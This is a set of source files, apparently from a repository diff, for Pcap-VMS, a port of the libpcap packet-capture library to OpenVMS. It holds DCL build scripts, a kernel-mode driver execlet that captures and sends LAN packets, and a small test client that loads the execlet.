$ if f$search("pcap.olb") .eqs. ""
$ then
$ libr/crea pcap.olb
$ endif
$ if p1 .eqs. "DEBUG"
$ then
$ opt = "/debug/noopt"
$ else
$! Nodebug
$ opt = "/opt=(level=4)"
$ endif
$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] -
pcapvci+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap pcapvci
$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] -
vcmutil+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap vcmutil
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
bpf_dump+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap bpf_dump
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
bpf_filter+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap bpf_filter
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
bpf_image+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap bpf_image
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
etherent+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap etherent
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
fad-gifc+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap fad-gifc
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
gencode+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap gencode
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
grammar+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap grammar
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
inet+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap inet
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
nametoaddr+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap nametoaddr
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
optimize+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap optimize
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
pcap+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap pcap
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
savefile+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap savefile
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
scanner+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap scanner
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
snprintf+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap snprintf
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
pcap-vms+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap pcap-vms
$ exit

View File

@@ -0,0 +1,130 @@
$!***************************************************************************
$!* *
$!* Copyright (c) 2003 Hewlett-Packard Corporation *
$!* *
$!* All Rights Reserved. *
$!* Unpublished rights reserved under the copyright laws of the United *
$!* States. *
$!* *
$!* The software contained on this media is proprietary to and embodies *
$!* the confidential technology of Hewlett-Packard Corporation. *
$!* Possession, use, duplication or dissemination of the software and *
$!* media is authorized only pursuant to a valid written license from *
$!* Hewlett-Packard Corporation. *
$!* *
$!* RESTRICTED RIGHTS LEGEND Use, duplication, or disclosure by the U.S. *
$!* Government is subject to restrictions as set forth in Subparagraph *
$!* (c)(1)(ii) of DFARS 252.227-7013, or in FAR 52.227-19, as applicable. *
$!***************************************************************************
$! This command procedure will build the PCAPVCM execlet.
$! The resulting PCAPVCM.EXE must be copied to the
$! SYS$LOADABLE_IMAGE directory for it to be useable.
$
$! Define our location
$
$ SAVE_DEFAULT = F$ENVIRONMENT("DEFAULT")
$ NEW_DEFAULT = F$ENVIRONMENT("PROCEDURE")
$ NEW_DEFAULT = F$PARSE(NEW_DEFAULT,,,"DEVICE") + -
F$PARSE(NEW_DEFAULT,,,"DIRECTORY")
$ SET DEFAULT 'NEW_DEFAULT'
$
$ DEFINE PCAPVCM$OBJ 'NEW_DEFAULT'
$
$! Assemble the source
$
$ MACRO/MIGRATE/NOTIE/list/machine PCAPVCM_INIT + SYS$LIBRARY:ARCH_DEFS.MAR + -
SYS$LIBRARY:LIB.MLB/LIB
$ MACRO/MIGRATE/NOTIE/list/machine VCI_JACKET + SYS$LIBRARY:ARCH_DEFS.MAR + -
SYS$LIBRARY:LIB.MLB/LIB
$ CC/INSTRUCTION=NOFLOAT/EXTERN=STRICT_REFDEF/NAMES=UPPER/list/machine -
PCAPVCM + SYS$LIBRARY:SYS$LIB_C.TLB/LIB/POINTER_SIZE=SHORT/diag
$ CC/INSTRUCTION=NOFLOAT/EXTERN=STRICT_REFDEF/NAMES=UPPER/list/machine -
VCMUTIL + SYS$LIBRARY:SYS$LIB_C.TLB/LIB/pointer_size=short
$
$! Create a little object library, to make linking easier.
$
$ IF F$SEARCH("PCAPVCM.OLB") .EQS. ""
$ THEN
$ LIBRARY/CREATE/OBJECT PCAPVCM
$ LIBRARY/OBJECT/INSERT PCAPVCM PCAPVCM_INIT,PCAPVCM,vci_jacket,vcmutil
$ ELSE
$ LIBRARY/OBJECT/REPLACE PCAPVCM PCAPVCM_INIT,PCAPVCM,vci_jacket,vcmutil
$ ENDIF
$
$! Link it
$ LINK/NOTRACE/NOUSERLIB/MAP=pcapvcm/FULL/NOSYSLIB/NOSYSSHR -
/SHARE -
/NATIVEONLY -
/BPAGE=14/NOTRACEBACK/NODEMAND_ZERO -
/SECTION_BINDING -
/SYSEXE=SELECTIVE -
/EXE=PCAPVCM.EXE -
SYS$INPUT/OPT
SYMBOL_TABLE=GLOBALS
!
vector_table = sys$share:sys$public_vectors.exe
!
! Ensure fixups are done before our initialization routines are called
!
ALPHA$LIBRARY:STARLET/INCLUDE=(SYS$DOINIT,SYS$SSDEF)
!
PCAPVCM$OBJ:PCAPVCM/INCLUDE=(PCAPVCM_INIT, PCAPVCM, VCI_JACKET, VCMUTIL)
SYS$LIBRARY:VMS$VOLATILE_PRIVATE_INTERFACES/INCLUDE=(BUGCHECK_CODES)
!
CASE_SENSITIVE=YES
!
! Mess up psect attributes, I'm slight;y rusty on this and have
! missed some... so do not try to unload the execlet => crash
!
PSECT_ATTR=$CODE, PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC,MOD
PSECT_ATTR=$CODE$, PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC,MOD
!
PSECT_ATTR=$$$100_DATA, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$LINK$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$LINKAGE$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$LINKAGE, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$DATA$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$NONPAGED_DATA, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$LITERAL$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$READONLY$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
PSECT_ATTR=$BSS$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD
!
PSECT_ATTR=EXEC$INIT_LINKAGE, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_000, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_001, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_002, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_CODE, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_SSTBL_000, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_SSTBL_001, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
PSECT_ATTR=EXEC$INIT_SSTBL_002 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD
!
! Collect all the psects into clusters
!
COLLECT=NONPAGED_CODE/ATTRIBUTES=RESIDENT, $CODE, -
$CODE$
COLLECT=NONPAGED_DATA/ATTRIBUTES=RESIDENT, $$$100_DATA, -
$LINK$, -
$LINKAGE$, -
$LINKAGE, -
$DATA$, -
$LITERAL$, -
$READONLY$, -
$BSS$, -
EXEC$NONPAGED_DATA
COLLECT=INIT/ATTRIBUTES=INITIALIZATION_CODE, EXEC$INIT_LINKAGE, -
EXEC$INIT_000, -
EXEC$INIT_001, -
EXEC$INIT_002, -
EXEC$INIT_CODE, -
EXEC$INIT_SSTBL_000, -
EXEC$INIT_SSTBL_001, -
EXEC$INIT_SSTBL_002
$
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "To use the PCAPVCM.EXE execlet you must copy it to"
$ WRITE SYS$OUTPUT "the SYS$LOADABLE_IMAGES directory."
$ WRITE SYS$OUTPUT ""
$ SET DEFAULT 'SAVE_DEFAULT'
$ EXIT

View File

@@ -0,0 +1,432 @@
#pragma module pcap_client "X-1"
/*
*****************************************************************************
*
* Copyright © 1996 Digital Equipment Corporation.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by Digital Equipment Corporation. The name of the
* Corporation may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
*****************************************************************************
*
* Important Note:
*
* This coding example uses privileged OpenVMS interfaces.
* OpenVMS does not guarantee that these interfaces will
* be supported indefinitely, and may change these interfaces
* without prior notice.
*
*****************************************************************************
*/
/* Define data structures and constants */
#include <descrip.h> /* Descriptors */
#include <ldrimgdef.h> /* Loaded image data block */
#include <lnmdef.h> /* Logical names */
#include <pdscdef.h> /* Linkage pairs */
#include <starlet.h> /* System service proto-types */
#include <ssdef.h> /* System service status codes */
#include <stsdef.h>
#include <stdio.h> /* CRTL I/O */
#include <string.h> /* CTRL strings */
#include <ldrdef.h>
#include <nmadef.h>
#include "pcapvcm.h"
typedef struct lkpdef LKP;
#pragma member_alignment __save
#pragma nomember_alignment
typedef struct _eth_header {
unsigned char da[6];
unsigned char sa[6];
unsigned char proto[2];
unsigned char data[2048];
} ETH_HEADER;
#pragma member_alignment __restore
typedef struct _ref_handle /* Dynamic loader reference handle */
{
void *base_addr;
LDRIMG *ldrimg_ptr;
int seq_num;
} REF_HANDLE;
/* Define special proto-types for the loader routines we need */
extern int ldr$load_image (struct dsc$descriptor_s *execlet_name, int flags,
REF_HANDLE *reference_handle);
extern int ldr$ref_info (struct dsc$descriptor_s *execlet_name,
REF_HANDLE *reference_handle);
extern int ldr$unload_image (struct dsc$descriptor_s *execlet_name,
REF_HANDLE *reference_handle);
/* Define proto-types for Kernel routines */
int load_execlet();
int unload_execlet();
/* Global data */
PCAPVCM *pcapvcm;
REF_HANDLE reference_handle; /* Dynamic loader ref handle */
void *rtnptr = 0;
$DESCRIPTOR(execlet_name, "PCAPVCM");
int is_loaded = 0;
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
int get_packet(VCRPLANDEF *vcrp, ETH_HEADER **hdrp)
{
VCRPDEF *vcrpbase;
uint64 boff;
int len;
vcrpbase = (VCRPDEF *) vcrp;
boff = vcrpbase->vcrp$l_boff;
len = vcrpbase->vcrp$l_bcnt;
*hdrp = (ETH_HEADER *) (((char *) vcrp) + boff);
return len;
}
int parse_vcrp(VCRPLANDEF *vcrp)
{
int status;
VCRPDEF *vcrpbase;
ETH_HEADER *hdr;
uint64 boff;
uint64 len;
uint64 haddr;
uint64 rstat;
uint32 size;
char *data;
uint64 format;
uint64 dest;
vcrpbase = (VCRPDEF *) vcrp;
size = vcrpbase->vcrp$w_size;
rstat = vcrpbase->vcrp$q_request_status;
haddr = vcrp->vcrp$a_lan_r_header;
boff = vcrpbase->vcrp$l_boff;
format = vcrp->vcrp$l_lan_pkformat;
dest = vcrp->vcrp$q_lan_t_dest;
len = vcrpbase->vcrp$l_bcnt;
hdr = (ETH_HEADER *) (((char *) vcrp) + boff);
// data = vcrp->vcrp$b_lan_filler4;
return status;
}
int build_vcrp(VCRPLANDEF *vcrp, int hdrlen, int len, char *packet)
{
int status;
VCRPDEF *base;
char *packptr;
char *rethdr;
int pdulen;
base = (VCRPDEF *) vcrp;
// status = init_transmit_vcrp(vcrp);
packptr = (char *) vcrp + VCRP$T_LAN_DATA + LAN$C_MAX_HDR_SIZE;
pdulen = (len-hdrlen) + 16;
base->vcrp$l_boff = (char *) packptr - (char *) base;
base->vcrp$l_bcnt = pdulen;
memcpy(&vcrp->vcrp$q_lan_t_dest, packet, 6);
packptr = (char *) packptr + 16;
memcpy(packptr, (packet+14), len-14);
return status;
}
#pragma __required_pointer_size __restore
/*
**++
** Main - Get us started
**
** Functional description:
**
** This routine exists to simply get us into Kernel mode to load the
** execlet.
**
** Calling convention:
**
** main()
**
** Input parameters:
**
** None
**
** Output parameters:
**
** None
**
** Return value:
**
** Various SS$_xxxx
**
** Environment:
**
** User mode.
**
**--
*/
int main()
{
int status;
uint64 arglist[10];
uint64 lstat;
int p2len;
int packlen;
int hdrlen;
ETH_HEADER *packet;
char sa[6] = {0xaa,0x00,0x2b,0x99,0x99,0x99};
char pty[2] = {0x08,0x00};
VCRPLANDEF *vcrp;
char vcrpbuff[4096];
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
char vcrpbuf[4096];
VCRPLANDEF *vcrpptr;
VCMCTX *vcmctx;
char *rawpackptr;
char devnam[128];
char p2buf[1024];
char hdr[128];
char *p2ptr;
char *tmpptr;
int q_stat[4];
#pragma __required_pointer_size __restore
/* Call kernel mode routine to load execlet and read symbol vector */
arglist[0] = 0;
status = sys$cmkrnl(load_execlet,arglist);
if (status & SS$_NORMAL)
{
printf("Execlet loaded\n");
}
else
{
printf("Status from load_execlet = %x.\n",status);
}
// Allocate a port
arglist[0] = 1;
arglist[1] = &vcmctx;
status = sys$cmkrnl_64(pcapvcm->alloc_port, arglist);
// Now get the devices
tmpptr = &devnam[0];
arglist[0] = 2;
arglist[1] = vcmctx;
arglist[2] = tmpptr;
status = sys$cmkrnl_64(pcapvcm->get_device, arglist);
// Create a port with this device
arglist[0] = 2;
arglist[1] = vcmctx;
arglist[2] = tmpptr;
status = sys$cmkrnl_64(pcapvcm->create_port, arglist);
// Populate P2 buffer
p2ptr = &p2buf[0];
memset(p2ptr, 0, 1024);
ADD_INT_VAL(p2ptr, NMA$C_PCLI_FMT, NMA$C_LINFM_ETH);
ADD_INT_VAL(p2ptr, NMA$C_PCLI_PTY, *(int *)pty);
ADD_INT_VAL(p2ptr, NMA$C_PCLI_PAD, NMA$C_STATE_OFF);
ADD_INT_VAL(p2ptr, NMA$C_PCLI_PRM, NMA$C_STATE_ON);
ADD_INT_VAL(p2ptr, NMA$C_PCLI_CCA, NMA$C_STATE_ON);
p2len = p2ptr - &p2buf[0];
arglist[0] = 3;
arglist[1] = vcmctx;
arglist[2] = p2len;
arglist[3] = &p2buf[0];
status = sys$cmkrnl_64(pcapvcm->enable_port, arglist);
if (!$VMS_STATUS_SUCCESS(status)) {
arglist[0] = 2;
arglist[1] = vcmctx;
arglist[2] = q_stat;
status = sys$cmkrnl_64(pcapvcm->get_mgm_error, arglist);
} else {
arglist[0] = 1;
arglist[1] = vcmctx;
// status = sys$cmkrnl_64(pcapvcm->disable_port, arglist);
}
// Read a packet
vcrpptr = &vcrpbuf[0];
memset(vcrpptr,0, 4096);
arglist[0] = 3;
arglist[1] = vcmctx;
arglist[2] = 4096;
arglist[3] = vcrpptr;
status = sys$cmkrnl_64(pcapvcm->read_packet, arglist);
status = parse_vcrp(vcrpptr);
packlen = get_packet(vcrpptr, &packet);
rawpackptr = &packet->da[0];
// Build us a header
arglist[0] = 3;
arglist[1] = vcmctx;
arglist[2] = 128;
arglist[3] = &hdr[0];
hdrlen = sys$cmkrnl_64(pcapvcm->build_header, arglist);
// Put in a SA in packet
memcpy(&packet->sa[0], sa, 6);
vcrp = &vcrpbuff[0];
status = build_vcrp(vcrp, 14, packlen, rawpackptr);
arglist[0] = 4;
arglist[1] = vcmctx;
arglist[2] = 14;
arglist[3] = packlen;
arglist[4] = rawpackptr;
status = sys$cmkrnl_64(pcapvcm->send_packet, arglist);
arglist[0] = 1;
arglist[1] = vcmctx;
status = sys$cmkrnl_64(pcapvcm->disable_port, arglist);
arglist[0] = 4;
arglist[1] = vcmctx;
arglist[2] = 14;
arglist[3] = packlen;
arglist[4] = packet;
status = sys$cmkrnl_64(pcapvcm->send_packet, arglist);
// Read another packet
arglist[0] = 3;
arglist[1] = vcmctx;
arglist[2] = 4098;
arglist[3] = vcrpptr;
status = sys$cmkrnl_64(pcapvcm->read_packet, arglist);
status = parse_vcrp(vcrpptr);
arglist[0] = 1;
arglist[1] = vcmctx;
status = sys$cmkrnl_64(pcapvcm->delete_port, arglist);
arglist[0] = 1;
arglist[1] = vcmctx;
status = sys$cmkrnl_64(pcapvcm->free_port, arglist);
// arglist[0] = 0;
// status = sys$cmkrnl(unload_execlet, arglist);
return (status);
}
/*
**++
** load_execlet - Load the specified execlet
**
** Functional description:
**
** This routine is called in Kernel Mode and will load the specified
** execlet.
**
** Calling convention:
**
** load_execlet()
**
** Input parameters:
**
** None
**
** Output parameters:
**
** None
**
** Return value:
**
** Various SS$_xxx
**
** Environment:
**
** Kernel mode
**
**--
*/
int load_execlet ()
{
int status;
LKP *symvec; /* Pointer to symbol vector */
int (*getContext)(PCAPVCM **);
/* Try referencing execlet first, in case it is already loaded */
status = LDR$REF_INFO (&execlet_name, &reference_handle);
/* If error, must not be loaded yet */
if (status != SS$_NORMAL)
{
/* Load execlet */
status = LDR$LOAD_IMAGE (&execlet_name, LDR$M_UNL, &reference_handle);
}
if ($VMS_STATUS_SUCCESS(status)) {
// Indicate that we've loaded the execlet
is_loaded = 1;
// Get the shared context. We built the execlet so that the address
// of the routine that does this is at home base...
rtnptr = *(void **)reference_handle.ldrimg_ptr->ldrimg$l_nonpag_w_base;
if (rtnptr) {
getContext = (int (*)())rtnptr;
status = (*getContext)(&pcapvcm);
}
}
return(status);
}
//
// Unload the execlet
//
int unload_execlet ()
{
int status;
if (is_loaded) {
status = LDR$REF_INFO (&execlet_name, &reference_handle);
if ($VMS_STATUS_SUCCESS(status)) {
status = LDR$UNLOAD_IMAGE(&execlet_name, &reference_handle);
}
is_loaded = 0;
} else {
status = SS$_ACCVIO;
}
return status;
}

View File

@@ -0,0 +1,21 @@
$! This command procedure will compile and link the image
$! loader needed to load IP_VCM.EXE.
$
$ set noon
$! ON WARNING THEN GOTO CLEANUP
$
$ SAVE_DEFAULT = F$ENVIRONMENT("DEFAULT")
$ NEW_DEFAULT = F$ENVIRONMENT("PROCEDURE")
$ NEW_DEFAULT = F$PARSE(NEW_DEFAULT,,,"DEVICE") + -
F$PARSE(NEW_DEFAULT,,,"DIRECTORY")
$ SET DEFAULT 'NEW_DEFAULT'
$
$ CC/debug/noopt PCAP_CLIENT/list/machine + -
SYS$LIBRARY:SYS$LIB_C.TLB/LIB + -
SYS$LIBRARY:SYS$STARLET_C.TLB/LIB
$
$ LINK/SYSEXE/debug pcap_client,vcmutil/map
$
$ CLEANUP:
$
$ SET DEFAULT 'SAVE_DEFAULT'

876
Pcap-VMS/pcapvcm/pcapvcm.c Normal file
View File

@@ -0,0 +1,876 @@
#pragma module PCAPVCM "X-1"
#pragma code_psect "EXEC$NONPAGED_CODE"
#pragma linkage_psect "EXEC$NONPAGED_LINKAGE"
/* pcapvcm.c - packet capturing execlet
Copyright (c) 2003, Anders "ankan" Ahgren
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//***************************************************************************
//
//
// FACILITY:
//
// Dynamic Loadable Execlet for PCAP
//
//
// ABSTRACT:
//
// This module implements a VCM for the LAN driver
//
//
// AUTHOR:
//
// Ankan
//
// CREATION DATE: 21-Mar-2003
//
// DESIGN ISSUES:
//
// All data passed to this execlet is assumed to be correct.
// No probes/range checks are made. Any failliure to read/write
// data passed into the execlet will cause a system crash.
//
// *****************************************************************************
// *
// * Important Note:
// *
// * This code uses privileged OpenVMS interfaces.
// * OpenVMS does not guarantee that these interfaces will
// * be supported indefinitely, and may change these interfaces
// * without prior notice.
// *
// *****************************************************************************
//
//
// REVISION HISTORY:
//
// X-1 Ankan Anders Ahgren 21-Mar-2003
// Initial version.
//
//
// Imported definitions
//
#define __NEW_STARLET 1
#include <starlet.h>
#include <string.h>
#include <stdlib.h>
#include <lanudef.h>
#include <ldcdef.h>
#include <vcibdef.h>
#include <vcibdlldef.h>
#include <vcrpdef.h>
#include <vcrplandef.h>
#include <lildef.h>
#include <dyndef.h>
#include <ints.h>
#include <ssdef.h>
#include <vms_macros.h>
#include <vms_drivers.h>
#include <builtins.h>
#include <nmadef.h>
#include <boostatedef.h>
#include <chfdef.h>
#include <exe_routines.h>
#include <ldr_routines.h>
#include <ldrimgdef.h>
#include <pdscdef.h>
#include <psldef.h>
#include <inirtndef.h>
#include <gen64def.h>
#include "pcapvcm.h"
//
// Load/unload stuff...
//
int pcap$vcm_init( LDRIMG *ini_image_block,
INIRTN *ini_flags_addr,
const char *ini_user_buffer );
int pcap$vcm_unload();
//
// Execlet interface routine declarations
//
int pcap$vcm_get_context(PCAPVCM_64PP vcm);
int pcap$vcm_alloc_port(VCMCTX_64PP vcmctx);
int pcap$vcm_free_port(VCMCTX_64P vcmctx);
int pcap$vcm_getdevice(VCMCTX_64P vcmctx, CHAR_64P devnam);
int pcap$vcm_create_port(VCMCTX_64P vcmctx, CHAR_64P device);
int pcap$vcm_delete_port(VCMCTX_64P vcmctx);
int pcap$vcm_enable_port(VCMCTX_64P vcmctx, int p2len, CHAR_64P p2buf);
int pcap$vcm_disable_port(VCMCTX_64P vcmctx);
int pcap$vcm_get_mgm_error(VCMCTX_64P vcmctx, CHAR_64P error);
int pcap$vcm_get_last_error(VCMCTX_64P vcmctx);
int pcap$vcm_read_packet(VCMCTX_64P vcmctx, int len, CHAR_64P packet);
int pcap$vcm_send_packet(VCMCTX_64P vcmctx, int hdrlen, int len,
CHAR_64P rawpacket);
int pcap$vcm_build_header(VCMCTX_64P vcmctx, int len, CHAR_64P header);
int pcap$vcm_get_statistics(VCMCTX_64P vcmctx, CHAR_64P stats);
//
// Special linkage
//
#define INIT001_ROUTINE pcap$vcm_init
#include init_rtn_setup
//
// VCI callback routines. Not to funny, thse are needed because these routines
// are called via JSBs from the LAN driver (LAN.MAR).
//
/* Transmit Complete */
#pragma linkage pcap_txLnkg = (parameters(r4,r3), preserved(r2,r4,r5), nopreserve(r0,r1))
#pragma use_linkage pcap_txLnkg (pcap_txCompl)
void pcap_txCompl( VCIBDLLDEF *vcib, VCRPDEF *request );
/* PortMgmt Complete */
#pragma linkage pcap_mgmLnkg = (parameters(r4,r3), preserved(r2,r4,r5), nopreserve(r0,r1))
#pragma use_linkage pcap_mgmLnkg (pcap_mgmCompl)
void pcap_mgmCompl( VCIBDLLDEF *vcib, VCRPDEF *request );
/* Receive */
#pragma linkage pcap_rxLnkg = (parameters(r4,r3), preserved(r2,r4,r5), nopreserve(r0,r1))
#pragma use_linkage pcap_rxLnkg (pcap_rxCompl)
void pcap_rxCompl( VCIBDEF *vcib, VCRPDEF *request );
/* Events */
#pragma linkage pcap_evtLnkg = (parameters(r4,r1, r2), preserved(r5), nopreserve(r0,r1))
#pragma use_linkage pcap_evtLnkg (pcap_event)
void pcap_event( VCIBDLLDEF *vcib, int event, int reason );
//
// External variables
//
extern uint64 exe$gq_systime;
//
// Global variables
//
#pragma extern_model save
#pragma extern_model strict_refdef "EXEC$NONPAGED_DATA"
static int unlvec[4];
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
static PCAPVCM *pcapvcm = 0;
#pragma __required_pointer_size __restore
#pragma extern_model restore
//
// Note: we use the VCIB as a queue for VCRBs and to keep track of the
// size of the queue we use the size field to hold the number of elements
// in the queue.
//
int init_vcib(VCIBDLLDEF *vcib, LILDEF *lil)
{
int status = SS$_NORMAL;
VCIBDEF *vcib_base;
vcib_base = (VCIBDEF *) vcib;
memset(vcib, 0, sizeof(VCIBDLLDEF));
vcib_base->vcib$a_portmgmt_complete = (void *) pcap_mgmCompl;
vcib_base->vcib$a_receive_complete = (void *) pcap_rxCompl;
vcib_base->vcib$a_report_event = (void *) pcap_event;
vcib_base->vcib$a_transmit_complete = (void *) pcap_txCompl;
vcib_base->vcib$b_type = DYN$C_DECNET;
vcib_base->vcib$b_sub_type = DYN$C_NET_VCI_VCIB;
vcib_base->vcib$l_vci_id = 0x0101;
vcib_base->vcib$w_version_upper = 1;
vcib->vcib$a_dll_input_list = lil;
vcib->vcib$w_dll_hdr_size = LAN$C_MAX_HDR_SIZE; // Max out...
vcib->vcib$v_lan_ftc = 1; // Always call completion routine
return status;
}
int init_mgmt_vcrp(VCRPLANDEF *vcrplan, int func, int p2len, char **p2buf)
{
int status = 1;
VCRPDEF *vcrp;
vcrp = (VCRPDEF *) vcrplan;
vcrp->vcrp$b_type = DYN$C_VCRP;
vcrp->vcrp$v_cmn_mgmt = 1;
vcrp->vcrp$l_function = func;
vcrplan->vcrp$a_lan_p2buff = p2buf;
vcrplan->vcrp$l_lan_p2buff_size = p2len;
return status;
}
int init_transmit_vcrp(VCRPLANDEF *vcrplan)
{
int status = 1;
VCRPDEF *vcrp;
vcrp = (VCRPDEF *) vcrplan;
vcrp->vcrp$b_type = DYN$C_VCRP;
vcrp->vcrp$v_cmn_mgmt = 0;
vcrp->vcrp$l_function = VCRP$K_FC_TRANSMIT;
return status;
}
//
// This is the execlet initialization routine, which is called upon
// loading of this image.
//
int pcap$vcm_init (LDRIMG *ini_image_block,
INIRTN *ini_flags_addr,
const char *ini_user_buffer )
{
int status;
uint64 alloc_size;
//
// Make sure we are not called again
//
ini_flags_addr->inirtn$v_no_recall = 1;
//
// We need to do some cleanup if we ever get unloaded, so declare an
// unload vector and pass our unload routine
//
unlvec[0] = (int) pcap$vcm_unload;
unlvec[1] = 0;
unlvec[2] = 0;
unlvec[3] = 0;
ini_image_block->ldrimg$l_unlvec = unlvec;
//
// Allocate a 2 pages for our shared data structure
// with our companion, the PCAP library.
//
status = mmg_std$alloc_system_va_map (
PTE$C_UW | PTE$M_ASM, // User mode RW
2, // number of pages
1, // nonpaged
1, // S1 space
(VOID_PPQ) &pcapvcm );
if (!$VMS_STATUS_SUCCESS(status))
bug_check (CUSTOMER, FATAL, COLD);
//
// Initialize the data structure...
//
memset (pcapvcm, 0, mmg$gl_page_size);
pcapvcm->mbo = 1;
pcapvcm->type = DYN$C_MISC;
pcapvcm->subtype = DYN$C_MISC;
pcapvcm->size = sizeof(PCAPVCM);
pcapvcm->revision = PCAPVCM$K_REVISION;
pcapvcm->recv_queue_size = PCAPVCM$K_RECV_QUEUE_SIZE;
pcapvcm->retry_count = PCAPVCM$K_RECV_QUEUE_RETRY;
pcapvcm->get_context = pcap$vcm_get_context;
pcapvcm->alloc_port = pcap$vcm_alloc_port;
pcapvcm->free_port = pcap$vcm_free_port;
pcapvcm->get_device = pcap$vcm_getdevice;
pcapvcm->create_port = pcap$vcm_create_port;
pcapvcm->delete_port = pcap$vcm_delete_port;
pcapvcm->enable_port = pcap$vcm_enable_port;
pcapvcm->disable_port = pcap$vcm_disable_port;
pcapvcm->get_mgm_error = pcap$vcm_get_mgm_error;
pcapvcm->get_last_error = pcap$vcm_get_last_error;
pcapvcm->read_packet = pcap$vcm_read_packet;
pcapvcm->send_packet = pcap$vcm_send_packet;
pcapvcm->build_header = pcap$vcm_build_header;
pcapvcm->get_statistics = pcap$vcm_get_statistics;
return SS$_NORMAL;
}
//
// This unload routine will be automagically called during execlet
// unloading to perform the cleanup steps.
// NOTE - since I'm useless at building execlets this currently will
// cause the system to crash, because I have pageable psects.
